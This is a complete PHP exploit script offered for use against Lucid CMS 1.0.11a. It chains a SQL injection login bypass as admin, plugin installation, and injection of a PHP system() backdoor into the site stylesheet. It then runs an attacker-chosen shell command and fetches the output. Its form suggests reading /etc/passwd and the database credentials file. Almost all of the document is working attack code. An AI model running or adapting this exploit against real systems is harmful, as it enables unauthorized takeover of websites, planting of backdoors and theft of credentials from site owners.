Exploit for Lucid CMS 1.0.11 SQL Injection, Login Bypass, and remote code execution vulnerabilities written in php.
4bb9f168b766995d3498a3610720c7695a87b32d8631edd7ab2537fe986826b3<?php
# 7.36 30/09/2005 #
# #
# ---lucid_cms_1011expl.php #
# #
# Lucid CMS 1.0.11a SQL Injection / login bypass / remote code execution #
# all-in-one #
# #
# This exploits the vulnerability described here: #
# http://rgod.altervista.org/lucid1011.html #
# #
# by rgod #
# site: http://rgod.altervista.org #
# #
# make these changes in php.ini if you have troubles #
# to launch this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# usage: customize for your own pleasure, launch this script from Apache, #
# fill requested fields, then go! #
# #
# Sun-Tzu: "O divine art of subtlety and secrecy! Through you we learn to be #
# invisible, through you inaudible" #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'<head><title> Lucid CMS 1.0.11a remote commands execution </title><meta
http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type=
"text/css"> <!-- body,td,th {color: #00FF00;} body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold;
font-style: italic; } --> </style></head> <body> <p class="Stile6"> Lucid CMS
V 1.0.11a (possibly prior versions) remote commands execution</p><p class="Stil
e6">a script by rgod at <a href="http://rgod.altervista.org" target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&command=value&proxy=value"><p><input type="text" name="host">
<span class="Stile5">hostname (ex: www.sitename.com) </span> </p> <p> <input
type="text" name="path"><span class="Stile5"> path ( ex: /lucidcms/ or just /)
</span></p><p><input type="text" name="port" > <span class="Stile5"> specify
a port other than 80 (default value) </span></p><p> <input type="text"
name="command"> <span class="Stile5"> a Unix command , example: ls -la to list
directories, cat /etc/passwd to show passwd file, cat dbConfig.php to show data
base username & password </span></p><p><input type="text" name="proxy"> <span
class="Stile5"> send exploit through an HTTP proxy (ip:port)</span></p><p><input
type="submit"name="Submit" value="go!"></p></form></td></tr> </table> </body>
</html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket() //if you heve sockets module loaded, 2x speed! if not,load
//next function to send packets
{
global $proxy, $host, $port, $packet, $html;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else
{
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='')
{
$result = socket_connect($socket, $host, $port);
}
else
{
if (!eregi($proxy_regex,$proxy))
{echo htmlentities($proxy).' -> not a valid proxy...';
die;
}
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else
{
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);}
else
{
if (!eregi($proxy_regex,$proxy))
{echo htmlentities($proxy).' -> not a valid proxy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
if (($path<>'') and ($host<>'') and ($command<>''))
{
if ($port=='') {$port=80;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
# so... you know, I'm verbous...
#STEP 1 -> SQL Injection /Login as admin
$sql="%27UNION%28SELECT%271%27%2C%27admin%27%2C%27admin%27%2C%27FAKE@FAKEhotmail.com%27%2C%27d41d8cd98f00b204e9800998ecf8427e%27%2C%271%27%29%2F*";
$sql.=urlencode("Have you ever read that number of X-factor when Jamie Madroz dies 'cause the mutants HIV?");
$data="login_username=".$sql."&login_password=&pageName=&PromptTime=".time();
$packet="POST ".$p."index.php?command=panel HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.':'.$port.$path."index.php?command=panel\r\n";
$packet.="Accept-Language: fr\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 (Debian package 1.0.7-1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: PHPSESSID=836324332f0e37553bfa7036f3985f20\r\n\r\n";
$packet.=$data;
show($packet);
sendpacket($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(' ',$temp[1]);
$cookie=$temp2[0]."path=/";
echo'<br>cookie: -> '.htmlentities($cookie).'<br><br>';
#STEP 2 -> Install RenderPHP plugin...
$packet="GET ".$p."index.php?command=pluginInstall&filename=renderPHP.php HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.':'.$port.$path."index.php?command=managePlugins\r\n";
$packet.="Accept-Language: pl\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SaveWealth)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
show($packet);
sendpacket($packet);
#STEP 3 -> Plugin activate...
$packet="GET ".$p."index.php?command=pluginActivate&filename=renderPHP.php HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.':'.$port.$path."index.php?command=pluginInstall&filename=renderPHP.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
show($packet);
sendpacket($packet);
#STEP 4 -> Get Stylesheet for main page, we don't want to ruin that, just to put a backdoor
$packet="GET ".$p."index.php?command=layout&mode=edit&type=style&id=1 HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.':'.$path."index.php?command=manageStyles\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Opera/8.5 (X11; Linux i686; U; en)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
show($packet);
sendpacket($packet);
$temp='';$i=0; while (!eregi('textarea',$temp)) { $temp.=$html[$i]; $i++; }
$temp=''; while (!eregi('>',$temp)) { $temp.=$html[$i]; $i++;};
$temp=''; while (!eregi('</textarea>',$temp)) { $temp.=$html[$i]; $i++; }
$temp=str_replace("</textarea>","",$temp);
$temp2=explode("***end***",$temp);
echo '<br>'.nl2br(htmlentities($temp2[0])).'<br><br>';
$sheet=$temp2[0];
#STEP 5 -> Shell Inject
$data="content=".urlencode($sheet);
#******shell********************
//ehi, this is your command line, add some # to clean stylesheet...
$data.="***end***";
$data.="%0D%0A%3C%3Fphp+error_reporting%280%29%3B+system%28%27".urlencode($command);
$data.="+%3E+README";//through this you redirect, a # to if you want to give a rm to output file...
$data.="%27%29%3B+%3F%3E";
#*******************************
$data.="&id=1&save=Save+Style&comment=";
$packet="POST ".$p."index.php?command=saveStyle HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.':'.$port.$path."index.php?command=layout&mode=edit&type=style&id=1\r\n";
$packet.="Accept-Language: es\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: WebCopier v4.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
$packet.=$data;
show($packet);
sendpacket($packet);
#STEP 6 -> Execute command
$packet="GET ".$p."index.php HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mediapartners-Google/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Keep-Alive\r\n\r\n";
show($packet);
sendpacket($packet);
#STEP 7 -> Looking for redirected output...
$packet="GET ".$p."README HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: GameBoy, powered by Nintendo\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Keep-Alive\r\n\r\n";
show($packet);
sendpacket($packet);
}
else
{echo '<br>fill requested fields, optionalyy specify a proxy...<br><br>';}
?>
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%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
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